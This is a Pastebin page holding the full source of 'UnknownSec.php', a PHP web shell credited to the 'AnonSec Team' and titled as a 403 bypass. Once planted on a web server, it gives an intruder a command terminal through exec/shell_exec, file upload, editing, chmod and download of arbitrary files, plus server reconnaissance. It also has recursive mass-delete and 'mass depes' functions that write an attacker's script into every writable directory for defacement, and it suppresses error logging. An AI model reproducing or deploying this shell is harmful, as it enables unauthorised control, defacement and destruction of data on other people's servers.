Advertisement
Guest User

UnknownSec.php

a guest
May 19th, 2022
1,666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.91 KB | None | 0 0
  1. <?php
  2. /* ~ Mau recode? izin dulu, recode ga izin itu ga keren ajg
  3. ~ V.02
  4. ~ Thanks to all mem AnonSec Team and all friend.
  5. ~ Untuk beberapa tools gw ambil dari indoxploit, karena tidak semuanya gw otakin sendiri.
  6. */
  7. set_time_limit(0);
  8. error_reporting(0);
  9. @ini_set('error_log',null);
  10. @ini_set('log_errors',0);
  11. @ini_set('max_execution_time',0);
  12. @ini_set('output_buffering',0);
  13. @ini_set('display_errors', 0);
  14.  
  15. $▛ = 'UnknownSec';
  16. $▘ = "<style>table{display:none;}</style>";
  17.  
  18. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  19. header('Content-type: text/plain');
  20. header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  21. echo(file_get_contents($_POST['path']));
  22. exit();
  23. }
  24.  
  25. if(get_magic_quotes_gpc()){
  26. foreach($_POST as $key=>$value){
  27. $_POST[$key] = stripslashes($value);
  28. }
  29. }
  30.  
  31. function ▟($dir,$p) {
  32. if (isset($_GET['path'])) {
  33. $▚ = $_GET['path'];
  34. } else {
  35. $▚ = getcwd();
  36. }
  37. if (is_writable($▚)) {
  38. return "<font color='green'>".$p."</font>";
  39. } else {
  40. return "<font color='red'>".$p."</font>";
  41. }
  42. }
  43.  
  44. function dc($dir,$p) {
  45. if (isset($_GET['path'])) {
  46. $▚ = $_GET['path'];
  47. } else {
  48. $▚ = getcwd();
  49. }
  50. if (is_writable($▚)) {
  51. return "<font color='green'>".$p."</font>";
  52. } else {
  53. return "<font color='red'>".$p."</font>";
  54. }
  55. }
  56.  
  57. function ip() {
  58. $ipas = '';
  59. if (getenv('HTTP_CLIENT_IP'))
  60. $ipas = getenv('HTTP_CLIENT_IP');
  61. else if(getenv('HTTP_X_FORWARDED_FOR'))
  62. $ipas = getenv('HTTP_X_FORWARDED_FOR');
  63. else if(getenv('HTTP_X_FORWARDED'))
  64. $ipas = getenv('HTTP_X_FORWARDED');
  65. else if(getenv('HTTP_FORWARDED_FOR'))
  66. $ipas = getenv('HTTP_FORWARDED_FOR');
  67. else if(getenv('HTTP_FORWARDED'))
  68. $ipas = getenv('HTTP_FORWARDED');
  69. else if(getenv('REMOTE_ADDR'))
  70. $ipas = getenv('REMOTE_ADDR');
  71. else
  72. $ipas = 'IP tidak dikenali';
  73. return $ipas;
  74. }
  75.  
  76. function ekse() {
  77. $cmd = "whoami";
  78. $return = "";
  79. $output = "";
  80. $methodArray = array();
  81. //exec()
  82. $return = ""; $output = "";
  83. exec($cmd, $output, $return);
  84. if (strlen($output[0]) > 0 && $return == 0) {
  85. $methodArray[] = "exec";
  86. }
  87. //shell_exec()
  88. $return = ""; $output = "";
  89. $output = shell_exec($cmd);
  90. if (strlen($output) > 0) {
  91. $methodArray[] = "shell_exec";
  92. }
  93. return $methodArray;
  94. }
  95. function ekseCMD($cmd, $method) {
  96. if ($method == "") {
  97. ob_start();
  98. $methodArray = ekse();
  99. ob_end_clean();
  100. if (is_array($methodArray)) {
  101. $method = $methodArray[0];
  102. }
  103. }
  104. switch ($method) {
  105. case "exec":
  106. exec($cmd, $output);
  107. var_dump($output);
  108. break;
  109. case "shell_exec":
  110. echo shell_exec($cmd);
  111. break;
  112. }
  113. }
  114. $cmd = htmlspecialchars($_POST["cmd"]);
  115. $method = htmlspecialchars($_POST["execCMD"]);
  116.  
  117. function p($file){
  118. $p = fileperms($file);
  119. if (($p & 0xC000) == 0xC000) {
  120. $i = 's';
  121. } elseif (($p & 0xA000) == 0xA000) {
  122. $i = 'l';
  123. } elseif (($p & 0x8000) == 0x8000) {
  124. $i = '-';
  125. } elseif (($p & 0x6000) == 0x6000) {
  126. $i = 'b';
  127. } elseif (($p & 0x4000) == 0x4000) {
  128. $i = 'd';
  129. } elseif (($p & 0x2000) == 0x2000) {
  130. $i = 'c';
  131. } elseif (($p & 0x1000) == 0x1000) {
  132. $i = 'p';
  133. } else {
  134. $i = 'u';
  135. }
  136. $i .= (($p & 0x0100) ? 'r' : '-');
  137. $i .= (($p & 0x0080) ? 'w' : '-');
  138. $i .= (($p & 0x0040) ?
  139. (($p & 0x0800) ? 's' : 'x' ) :
  140. (($p & 0x0800) ? 'S' : '-'));
  141. $i .= (($p & 0x0020) ? 'r' : '-');
  142. $i .= (($p & 0x0010) ? 'w' : '-');
  143. $i .= (($p & 0x0008) ?
  144. (($p & 0x0400) ? 's' : 'x' ) :
  145. (($p & 0x0400) ? 'S' : '-'));
  146. $i .= (($p & 0x0004) ? 'r' : '-');
  147. $i .= (($p & 0x0002) ? 'w' : '-');
  148. $i .= (($p & 0x0001) ?
  149. (($p & 0x0200) ? 't' : 'x' ) :
  150. (($p & 0x0200) ? 'T' : '-'));
  151. return $i;
  152. exit();
  153. }
  154. echo "
  155. <!DOCTYPE HTML>
  156. <html>
  157. <head>
  158. <meta name='author' content='$▛'>
  159. <meta name='robots' content='NOINDEX, NOFOLLOW'>
  160. <title>".$_SERVER['HTTP_HOST']." - $▛ 403</title>
  161. <meta name='viewport' content='width=device-width, initial-scale=0.70, user-scalable=no'>
  162. <link rel='stylesheet' href='//unknownsec.ftp.sh/main/style.css'>
  163. <script src='//maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js'></script>
  164. <script src='//cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js'></script>
  165. </head>
  166. <body class='bg-secondary text-light'>
  167. <div class='container-fluid'>
  168. <div class='py-3' id='main'>
  169. <div class='box shadow bg-dark p-4 rounded-3'>
  170. <a class='text-decoration-none text-light' href='".$_SERVER['PHP_SELF']."'><h4>$▛ Bypass <i class='bi bi-bug-fill'></i> 403</h4></a>";
  171. if(isset($_GET['path'])){
  172. $path = $_GET['path'];
  173. }else{
  174. $path = getcwd();
  175. }
  176. $path = str_replace('\\','/',$path);
  177. $paths = explode('/',$path);
  178. foreach($paths as $id=>$pat){
  179. if($pat == '' && $id == 0){
  180. $a = true;
  181. echo '<i class="bi bi-hdd-rack"></i> : <a class="text-decoration-none text-light" href="?path=/">/</a>';
  182. continue;
  183. }
  184. if($pat == '') continue;
  185. echo '<a class="text-decoration-none" href="?path=';
  186. for($i=0;$i<=$id;$i++){
  187. echo "$paths[$i]";
  188. if($i != $id) echo "/";
  189. }
  190. echo '">'.$pat.'</a>/';
  191. }
  192. echo " [ ".▟($path, p($path))." ]";
  193. echo "
  194. <div class='dropdown'>
  195. <button class='btn btn-outline-light dropdown-toggle btn-sm' type='button' id='dropdownMenuButton' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'><i class='bi bi-menu-down'></i>&nbsp;Menu</button>
  196. <div class='dropdown-menu'>
  197. <a class='dropdown-item' href='?path=$path&dir=$path&id=upload'><i class='bi bi-upload'></i> Upload</a>
  198. <a class='dropdown-item' href='?path=$path&dir=$path&id=depes'><i class='bi bi-exclamation-diamond'></i> Mass depes</a>
  199. <a class='dropdown-item' href='?path=$path&dir=$path&id=delete'><i class='bi bi-trash'></i> Mass delete</a>
  200. <a class='dropdown-item' href='?path=$path&dir=$path&id=cmd'><i class='bi bi-terminal'></i> Terminal</a>
  201. <a class='dropdown-item' href='?path=$path&dir=$path&id=info'><i class='bi bi-info-circle'></i> Info server</a>
  202. <a class='dropdown-item' href='?path=$path&dir=$path&id=about'><i class='bi bi-info'></i> About</a></h5>
  203. </div>
  204. </div>";
  205. // tools nya
  206. if(isset($_GET['dir'])) {
  207. $dir = $_GET['dir'];
  208. chdir($dir);
  209. } else {
  210. $dir = getcwd();
  211. }
  212. $dir = str_replace("\\","/",$dir);
  213. $scdir = explode("/", $dir);
  214. for($i = 0; $i <= $c_dir; $i++) {
  215. $scdir[$i];
  216. if($i != $c_dir) {
  217. }
  218. elseif($_GET['id'] == 'depes'){
  219. function mass_kabeh($dir,$namafile,$isi_script) {
  220. if(is_writable($dir)) {
  221. $dira = scandir($dir);
  222. foreach($dira as $dirb) {
  223. $dirc = "$dir/$dirb";
  224. $▚ = $dirc.'/'.$namafile;
  225. if($dirb === '.') {
  226. file_put_contents($▚, $isi_script);
  227. } elseif($dirb === '..') {
  228. file_put_contents($▚, $isi_script);
  229. } else {
  230. if(is_dir($dirc)) {
  231. if(is_writable($dirc)) {
  232. echo "[<font color=green>success</font>] $▚<br>";
  233. file_put_contents($▚, $isi_script);
  234. $▟ = mass_kabeh($dirc,$namafile,$isi_script);
  235. }
  236. }
  237. }
  238. }
  239. }
  240. }
  241. function mass_biasa($dir,$namafile,$isi_script) {
  242. if(is_writable($dir)) {
  243. $dira = scandir($dir);
  244. foreach($dira as $dirb) {
  245. $dirc = "$dir/$dirb";
  246. $▚ = $dirc.'/'.$namafile;
  247. if($dirb === '.') {
  248. file_put_contents($▚, $isi_script);
  249. } elseif($dirb === '..') {
  250. file_put_contents($▚, $isi_script);
  251. } else {
  252. if(is_dir($dirc)) {
  253. if(is_writable($dirc)) {
  254. echo "[<font color=green>success</font>] $dirb/$namafile<br>";
  255. file_put_contents($▚, $isi_script);
  256. }
  257. }
  258. }
  259. }
  260. }
  261. }
  262. if($_POST['start']) {
  263. if($_POST['tipe'] == 'massal') {
  264. echo "<div style='margin: 5px auto; padding: 5px'>";
  265. mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  266. echo "</div>";
  267. } elseif($_POST['tipe'] == 'biasa') {
  268. echo "<div style='margin: 5px auto; padding: 5px'>";
  269. mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  270. echo "</div>";
  271. }
  272. } else {
  273. echo "<br />$▘
  274. <form method='post'>
  275. <b>Tipe:</b><br>
  276. <div class='custom-control custom-switch'>
  277. <input type='checkbox' id='customSwitch' class='custom-control-input' name='tipe' value='biasa'>
  278. <label class='custom-control-label' for='customSwitch'>Biasa</label>
  279. </div>
  280. <div class='custom-control custom-switch'>
  281. <input type='checkbox' id='customSwitch1' class='custom-control-input' name='tipe' value='massal'>
  282. <label class='custom-control-label' for='customSwitch1'>Massal</label>
  283. </div>
  284. <b><i class='bi bi-folder'></i> Lokasi:</b>
  285. <input class='form-control' type='text' name='d_dir' value='$dir' height='10'>
  286. <b><i class='bi bi-file-earmark'></i> File name:</b>
  287. <input class='form-control' type='text' name='d_file' placeholder='name file' height='10'>
  288. <b><i class='bi bi-file-earmark'></i> Your script:</b>
  289. <textarea class='form-control' rows='7' name='script' placeholder='your secript here'></textarea><br />
  290. <input type='submit' name='start' value='Go' class='btn btn-outline-light'>
  291. </form>";
  292. }
  293. }
  294. elseif($_GET['id'] == 'info'){
  295. $disfunc = @ini_get("disable_functions");
  296. if (empty($disfunc)) {
  297. $disfc = "<font color=green>NONE</font>";
  298. } else {
  299. $disfc = "<font color=red>$disfunc</font>";
  300. }
  301. if(!function_exists('posix_getegid')) {
  302. $user = @get_current_user();
  303. $uid = @getmyuid();
  304. $gid = @getmygid();
  305. $group = "?";
  306. } else {
  307. $uid = @posix_getpwuid(posix_geteuid());
  308. $gid = @posix_getgrgid(posix_getegid());
  309. $user = $uid['name'];
  310. $uid = $uid['uid'];
  311. $group = $gid['name'];
  312. $gid = $gid['gid'];
  313. }
  314. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=green>OFF</font>";
  315. echo '<br />'.$▘.'
  316. <div class="container">
  317. <div class="card text-dark">
  318. <div class="card-header">';
  319. echo "<b>Uname: </b><font color=green>".php_uname()."</font><br />";
  320. echo "<b>Software: </b><font color=green>".$_SERVER['SERVER_SOFTWARE']."</font><br />";
  321. echo "<b>PHP version: </b><font color=green>".PHP_VERSION."</font> <b>PHP os:</b> <font color=green>".PHP_OS."</font><br />";
  322. echo "<b>Server Ip: </b><font color=green>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br />";
  323. echo "<b>Your Ip: </b><font color=green>".ip()."</font><br />";
  324. echo "<b>User: </b><font color=green>$user</font> ($uid) | <b>Group:</b> <font color=green>$group</font> ($gid)<br />";
  325. echo "<b>Safe Mode: </b>$sm<br />";
  326. echo "<kbd>Disable Function:</kbd><pre>$disfc</pre>";
  327. echo '</div>
  328. </div>
  329. </div>';
  330. }
  331. elseif($_GET['id'] == 'about'){
  332. echo '<br />'.$▘.'
  333. <div class="container">
  334. <div class="card text-dark">
  335. <div class="card-header">';
  336. echo "<img alt='AnonSec Team' class='img-thumbnail rounded mx-auto d-block' src='//unknownsec.ftp.sh/AnonSec.jpg' width='150px'>";
  337. echo "<b>- About Me -</b><br />";
  338. echo "Thanks bre dah pake shell nya, jika ada yang error silahkan hubungi email di bawah.<br />Greetz : <a href=''>{ AnonSec Team } - And You</a><br />My email: <a href='mailto:unknownsec1337@gmail.com'>unknownsec1337@gmail.com</a>";
  339. echo '</div>
  340. </div>
  341. </div>';
  342. }
  343. elseif($_GET['id'] == 'cmd') {
  344. echo "$▘<br>
  345. <form method='POST'>
  346. <div class='input-group mb-3'>
  347. <input class='form-control' type='text' name='cmd' value='$cmd'>
  348. <select class='bg-dark text-light form-control' name='execCMD'>
  349. <option>$method</option>";
  350. ob_start();
  351. $methodArray = ekse();
  352. ob_end_clean();
  353. foreach ($methodArray as $value) {
  354. echo "<option>$value</option>";
  355. }
  356. echo '</select>
  357. </div>
  358. </form>';
  359. if($cmd == "") {
  360. echo "
  361. <div class='card text-dark'>
  362. <div class='card-header'>
  363. <pre>";
  364. ekseCMD("whoami", $method);
  365. echo '</pre>
  366. </div>
  367. </div>';
  368. }else {
  369. echo "
  370. <div class='card text-dark'>
  371. <div class='card-header'>
  372. <pre><kbd>~$&ensp;".$cmd."</kbd><br>";
  373. ekseCMD($cmd, $method);
  374. echo "</pre>
  375. </div>
  376. </div>";
  377. }
  378. }
  379. elseif($_GET['id'] == 'upload'){
  380. echo '<br />'.$▘.'
  381. <form action="" method="post" enctype="multipart/form-data">
  382. <div class="input-group mb-3 text-center">
  383. <input type="file" class="form-control form-control-sm" name="file">
  384. <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
  385. </div>
  386. </form>';
  387. if(isset($_FILES['file'])){
  388. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  389. echo '
  390. <script type="text/javascript">
  391. Swal.fire(
  392. "Success",
  393. "Success upload",
  394. "success"
  395. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  396. ';
  397. }else{
  398. echo '
  399. <script type="text/javascript">
  400. Swal.fire(
  401. "Opsss",
  402. "Failed upload",
  403. "error"
  404. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  405. ';
  406. }
  407. }
  408. }
  409. elseif($_GET['id'] == 'delete'){
  410. function hapus_massal($dir,$namafile) {
  411. if(is_writable($dir)) {
  412. $dira = scandir($dir);
  413. foreach($dira as $dirb) {
  414. $dirc = "$dir/$dirb";
  415. $▚ = $dirc.'/'.$namafile;
  416. if($dirb === '.') {
  417. if(file_exists("$dir/$namafile")) {
  418. unlink("$dir/$namafile");
  419. }
  420. } elseif($dirb === '..') {
  421. if(file_exists("".dirname($dir)."/$namafile")) {
  422. unlink("".dirname($dir)."/$namafile");
  423. }
  424. } else {
  425. if(is_dir($dirc)) {
  426. if(is_writable($dirc)) {
  427. if(file_exists($▚)) {
  428. echo "[<font color=green>deleted</font>] $▚<br>";
  429. unlink($▚);
  430. $▟ = hapus_massal($dirc,$namafile);
  431. }
  432. }
  433. }
  434. }
  435. }
  436. }
  437. }
  438. if($_POST['start']) {
  439. echo "<div style='margin: 5px auto; padding: 5px'>";
  440. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  441. echo "</div>";
  442. } else {
  443. echo "<br />$▘
  444. <form method='post'>
  445. <b><i class='bi bi-folder'></i> Lokasi:</b>
  446. <input class='form-control' type='text' name='d_dir' value='$dir' height='10'>
  447. <b><i class='bi bi-file-earmark'></i> File name:</b>
  448. <div class='input-group mb-3'>
  449. <input class='form-control' type='text' name='d_file' placeholder='name file' height='10'><br>
  450. <div class='input-group-append'>
  451. <input class='btn btn-outline-light' type='submit' name='start' value='Go'>
  452. </form>
  453. </div>
  454. </div>";
  455. }
  456. }
  457. }
  458. // akhir tools
  459. if(isset($_GET['filesrc'])){
  460. echo "<br><b>name : </b>".basename($_GET['filesrc']);"</br>";
  461. echo '<textarea class="form-control" rows="7" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea><br />';
  462. }
  463. elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  464. echo '<br><b>name : </b>'.basename($_POST['path']);'</br>';
  465. //Chmod
  466. if($_POST['opt'] == 'chmod'){
  467. if(isset($_POST['perm'])){
  468. if(chmod($_POST['path'],$_POST['perm'])){
  469. echo '
  470. <script type="text/javascript">
  471. Swal.fire(
  472. "Success",
  473. "Success Change Permission",
  474. "success"
  475. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  476. ';
  477. }else{
  478. echo '
  479. <script type="text/javascript">
  480. Swal.fire(
  481. "Opsss",
  482. "Failed change permission",
  483. "error"
  484. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  485. ';
  486. }
  487. }
  488. echo '<form method="POST">
  489. <div class="input-group mb-3">
  490. <input class="form-control" name="perm" type="text" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'"/>
  491. <input class="form-control" type="hidden" name="path" value="'.$_POST['path'].'">
  492. <input class="form-control" type="hidden" name="opt" value="chmod">
  493. <div class="input-group-append">
  494. <input class="btn btn-outline-light" type="submit" value="Go"/>
  495. </form>
  496. </div>
  497. </div>';
  498. }
  499. //rename folder
  500. elseif($_GET['opt'] == 'btw'){
  501. $cwd = getcwd();
  502. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  503. <div class="input-group mb-3">
  504. <input class="form-control" name="name" type="text" value="Folder"/>
  505. <input class="form-control" type="hidden" name="path" value="'.$cwd.'">
  506. <input class="form-control" type="hidden" name="opt" value="delete">
  507. <div class="input-group-append">
  508. <input class="btn btn-outline-light" type="submit" value="Go"/>
  509. </form>
  510. </div>
  511. </div>';
  512. }
  513. //rename file
  514. elseif($_POST['opt'] == 'rename'){
  515. if(isset($_POST['newname'])){
  516. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  517. echo '
  518. <script type="text/javascript">
  519. Swal.fire(
  520. "Success",
  521. "Success change name",
  522. "success"
  523. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  524. ';
  525. }else{
  526. echo '
  527. <script type="text/javascript">
  528. Swal.fire(
  529. "Opsss",
  530. "Failed change name",
  531. "error"
  532. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  533. ';
  534. }
  535. $_POST['name'] = $_POST['newname'];
  536. }
  537. echo '<form method="POST">
  538. <div class="input-group mb-3">
  539. <input class="form-control" name="newname" type="text" value="'.$_POST['name'].'" />
  540. <input class="form-control" type="hidden" name="path" value="'.$_POST['path'].'">
  541. <input class="form-control" type="hidden" name="opt" value="rename">
  542. <div class="input-group-append">
  543. <input class="btn btn-outline-light" type="submit" value="Go"/>
  544. </form>
  545. </div>
  546. </div>';
  547. }
  548. //edit file
  549. elseif($_POST['opt'] == 'edit'){
  550. if(isset($_POST['src'])){
  551. $fp = fopen($_POST['path'],'w');
  552. if(fwrite($fp,$_POST['src'])){
  553. echo '
  554. <script type="text/javascript">
  555. Swal.fire(
  556. "Success",
  557. "Edit file Success",
  558. "success"
  559. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  560. ';
  561. }else{
  562. echo '
  563. <script type="text/javascript">
  564. Swal.fire(
  565. "Opsss",
  566. "Failed edit file",
  567. "error"
  568. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  569. ';
  570. }
  571. fclose($fp);
  572. }
  573. echo '<form method="POST">
  574. <textarea class="form-control" rows="7" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  575. <input class="form-control" type="hidden" name="path" value="'.$_POST['path'].'">
  576. <input class="form-control" type="hidden" name="opt" value="edit">
  577. <input class="btn btn-outline-light" type="submit" value="Go"/>
  578. </form><br />';
  579. }
  580. }else{
  581. //delete dir
  582. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  583. if($_POST['type'] == 'dir'){
  584. if(rmdir($_POST['path'])){
  585. echo '
  586. <script type="text/javascript">
  587. Swal.fire(
  588. "Success",
  589. "Success delete dir",
  590. "success"
  591. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  592. ';
  593. }else{
  594. echo '
  595. <script type="text/javascript">
  596. Swal.fire(
  597. "Opsss",
  598. "Failed delete dir",
  599. "error"
  600. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  601. ';
  602. }
  603. }
  604. //delete file
  605. elseif($_POST['type'] == 'file'){
  606. if(unlink($_POST['path'])){
  607. echo '
  608. <script type="text/javascript">
  609. Swal.fire(
  610. "Success",
  611. "Success delete file",
  612. "success"
  613. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  614. ';
  615. }else{
  616. echo '
  617. <script type="text/javascript">
  618. Swal.fire(
  619. "Opsss",
  620. "Failed delete file",
  621. "error"
  622. ).then((btnClick) => {if(btnClick){document.location.href="?path='.$path.'"}})</script>
  623. ';
  624. }
  625. }
  626. }
  627. echo '</center>';
  628. $scandir = scandir($path);
  629. $pa = getcwd();
  630. echo '<div class="table-responsive">
  631. <table class="table table-hover table-dark text-light">
  632. <thead>
  633. <tr>
  634. <td class="text-center">Name</td>
  635. <td class="text-center">Last edit</td>
  636. <td class="text-center">Size</td>
  637. <td class="text-center">Permission</td>
  638. <td class="text-center">Options</td>
  639. </tr>
  640. </thead>
  641. <tbody class="text-nowrap">';
  642. foreach($scandir as $dir){
  643. $dt = date("Y-m-d", filemtime("$path/$dir"));
  644. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  645. echo "
  646. <tr>
  647. <td><i class='bi bi-folder-fill'></i><a class='text-decoration-none text-secondary' href=\"?path=$path/$dir\">$dir</a></td>
  648. <td><center>$dt</center></td>
  649. <td><center>DIR</center></td>
  650. <td><center>";
  651. if(is_writable("$path/$dir")) echo '<font color="green">';
  652. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  653. echo p("$path/$dir");
  654. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  655. echo "</center></td>
  656. <td>
  657. <form method=\"POST\" action=\"?option&path=$path\">
  658. <div class='input-group mb-3 text-center'>
  659. <select class=\"form-select form-select-sm\" name=\"opt\">
  660. <option selected disabled>Select</option>
  661. <option value=\"delete\">Delete</option>
  662. <option value=\"chmod\">Chmod</option>
  663. <option value=\"rename\">Rename</option>
  664. </select>
  665. <input type=\"hidden\" name=\"type\" value=\"dir\">
  666. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  667. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  668. <input class=\"btn btn-outline-light btn-sm\" type=\"submit\" value=\"Go\"/>
  669. </form>
  670. </div>
  671. </td>
  672. </tr>";
  673. }
  674. foreach($scandir as $file){
  675. $ft = date("Y-m-d", filemtime("$path/$file"));
  676. if(!is_file($path.'/'.$file)) continue;
  677. $s = filesize($path.'/'.$file)/1024;
  678. $s = round($s,3);
  679. if($s >= 1024){
  680. $s = round($s/1024,2).' MB';
  681. }else{
  682. $s = $s.' KB';
  683. }
  684. echo "
  685. <tr>
  686. <td><i class='bi bi-file-earmark-code-fill'></i><a class='text-decoration-none text-secondary' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  687. <td><center>$ft</center></td>
  688. <td><center>$s</center></td>
  689. <td><center>";
  690. if(is_writable("$path/$file")) echo '<font color="green">';
  691. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  692. echo p("$path/$file");
  693. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  694. echo "</center></td>
  695. <td>
  696. <form method=\"POST\" action=\"?option&path=$path\">
  697. <div class='input-group mb-3 text-center'>
  698. <select class=\"form-select form-select-sm\"name=\"opt\">
  699. <option selected disabled>Select</option>
  700. <option value=\"delete\">Delete</option>
  701. <option value=\"edit\">Edit</option>
  702. <option value=\"rename\">Rename</option>
  703. <option value=\"chmod\">Chmod</option>
  704. <option value=\"download\">Download</option>
  705. </select>
  706. <input type=\"hidden\" name=\"type\" value=\"file\">
  707. <input type=\"hidden\" name=\"name\" value=\"$file\">
  708. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  709. <input class=\"btn btn-outline-light btn-sm\" type=\"submit\" value=\"Go\"/>
  710. </form>
  711. </div>
  712. </td>
  713. </tr>";
  714. }
  715. }
  716. echo "
  717. </tbody>
  718. </table>
  719. <div class='text-center'>
  720. <kbd>Copyright &copy; ".date("Y")." - $▛</kbd>
  721. </div>
  722. </div>
  723. </div>
  724. </div>
  725. </div>
  726. <script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>
  727. <script src='//cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js'></script>
  728. <script src='//stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js'></script>
  729. </body>
  730. </html>";
  731. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement